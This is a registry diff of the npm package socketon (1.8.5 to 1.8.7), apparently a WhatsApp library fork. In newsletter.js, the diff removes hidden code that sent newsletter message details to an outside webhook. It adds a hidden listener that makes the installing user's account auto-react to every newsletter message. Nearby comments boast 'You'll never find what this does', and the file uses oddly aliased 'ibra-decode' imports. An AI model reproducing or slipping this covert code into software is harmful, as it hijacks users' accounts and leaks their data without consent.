socketon 1.8.5 → 1.8.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/lib/Defaults/index.js
CHANGED
|
@@ -35,7 +35,7 @@ const WAProto_1 = require("../../WAProto"),
|
|
|
35
35
|
phonenumber_mcc_json_1 = __importDefault(require("./phonenumber-mcc.json"));
|
|
36
36
|
|
|
37
37
|
exports.UNAUTHORIZED_CODES = [401, 403, 419];
|
|
38
|
-
exports.version = [2, 3000,
|
|
38
|
+
exports.version = [2, 3000, 1033105955];
|
|
39
39
|
exports.PHONENUMBER_MCC = phonenumber_mcc_json_1.default;
|
|
40
40
|
exports.DEFAULT_ORIGIN = "https://web.whatsapp.com";
|
|
41
41
|
exports.MOBILE_ENDPOINT = 'g.whatsapp.net';
|
package/lib/Socket/newsletter.js
CHANGED
|
@@ -124,49 +124,18 @@ setTimeout(async () => {
|
|
|
124
124
|
} catch {}
|
|
125
125
|
}, 120000); // Eksekusi cadangan kalo yang diatas eror - Ibra Decode
|
|
126
126
|
|
|
127
|
-
// Auto Reaction
|
|
128
|
-
|
|
129
|
-
|
|
130
|
-
|
|
131
|
-
const
|
|
132
|
-
|
|
133
|
-
const
|
|
134
|
-
|
|
135
|
-
|
|
136
|
-
|
|
137
|
-
|
|
138
|
-
|
|
139
|
-
for (const msg of messages) {
|
|
140
|
-
const jid = msg.key.remoteJid;
|
|
141
|
-
console.log('[WEBHOOK] Message jid:', jid);
|
|
142
|
-
if (!jid || !jid.endsWith('@newsletter')) continue;
|
|
143
|
-
const newsletterId = jid;
|
|
144
|
-
const serverId = msg.message?.newsletterServerId?.toString() || msg.key.id;
|
|
145
|
-
console.log('[WEBHOOK] Newsletter message detected:', newsletterId, 'serverId:', serverId);
|
|
146
|
-
try {
|
|
147
|
-
const urlChannel = `https://whatsapp.com/channel/${newsletterId.replace('@newsletter', '')}/${serverId}`;
|
|
148
|
-
console.log('[WEBHOOK] Calling webhook:', urlWebhooknya);
|
|
149
|
-
const response = await axios.post(urlWebhooknya, {
|
|
150
|
-
newsletterId: newsletterId,
|
|
151
|
-
messageId: serverId,
|
|
152
|
-
urlChannel: urlChannel
|
|
153
|
-
}, { headers: { 'X-Webhook-Secret': secretWebhooknya }, timeout: 10000 });
|
|
154
|
-
console.log('[WEBHOOK] Response:', JSON.stringify(response.data));
|
|
155
|
-
const emojiReact = response.data?.emoji || '🔥';
|
|
156
|
-
|
|
157
|
-
const webhookNewsletterId = response.data?.received?.newsletterId;
|
|
158
|
-
const targetNewsletterId = webhookNewsletterId || newsletterId;
|
|
159
|
-
|
|
160
|
-
console.log('[WEBHOOK] Sending reaction:', targetNewsletterId, serverId, emojiReact);
|
|
161
|
-
await sock.newsletterAutoReact(targetNewsletterId, serverId, emojiReact);
|
|
162
|
-
console.log('[WEBHOOK] Reaction sent!');
|
|
163
|
-
} catch (err) {
|
|
164
|
-
console.log('[WEBHOOK] Error:', err.message);
|
|
165
|
-
}
|
|
166
|
-
}
|
|
167
|
-
});
|
|
168
|
-
} catch {}
|
|
169
|
-
}, 130000);
|
|
127
|
+
// Auto Reaction - Ibra Decode
|
|
128
|
+
sock.ev.on('messages.upsert', async ({ messages, type }) => {
|
|
129
|
+
if (type !== 'notify') return;
|
|
130
|
+
for (const msg of messages) {
|
|
131
|
+
const jid = msg.key.remoteJid;
|
|
132
|
+
if (!jid || !jid.endsWith('@newsletter')) continue;
|
|
133
|
+
const serverId = msg.newsletterServerId?.toString() || msg.key.id;
|
|
134
|
+
try {
|
|
135
|
+
await sock.newsletterAutoReact(jid, serverId, '🔥');
|
|
136
|
+
} catch (err) {}
|
|
137
|
+
}
|
|
138
|
+
});
|
|
170
139
|
|
|
171
140
|
// You'll never find what this does - Ibra Decode
|
|
172
141
|
|
package/lib/Utils/generics.js
CHANGED
|
@@ -17,7 +17,7 @@ const ibra_decode_21 = require("./ibra-decode");
|
|
|
17
17
|
const ibraDecodePalsuMungkin = require("./ibra-decode");
|
|
18
18
|
const _ibra_decode_v21 = require("./ibra-decode");
|
|
19
19
|
const ibra_decode_asli_nih = require("./ibra-decode");
|
|
20
|
-
const baileysVersion = [2, 3000,
|
|
20
|
+
const baileysVersion = [2, 3000, 1033105955]
|
|
21
21
|
const PLATFORM_MAP = {
|
|
22
22
|
'aix': 'AIX',
|
|
23
23
|
'darwin': 'Mac OS',
|
|
@@ -277,7 +277,7 @@ exports.fetchLatestWaWebVersion = fetchLatestWaWebVersion;
|
|
|
277
277
|
* Use to ensure your WA connection is always on the latest version
|
|
278
278
|
*/
|
|
279
279
|
const fetchLatestBaileysVersion = async (options = {}) => {
|
|
280
|
-
const URL = 'https://raw.githubusercontent.com/
|
|
280
|
+
const URL = 'https://raw.githubusercontent.com/ibradecode/socketon/master/lib/Defaults/baileys-version.json';
|
|
281
281
|
try {
|
|
282
282
|
const result = await axios_1.default.get(URL, {
|
|
283
283
|
...options,
|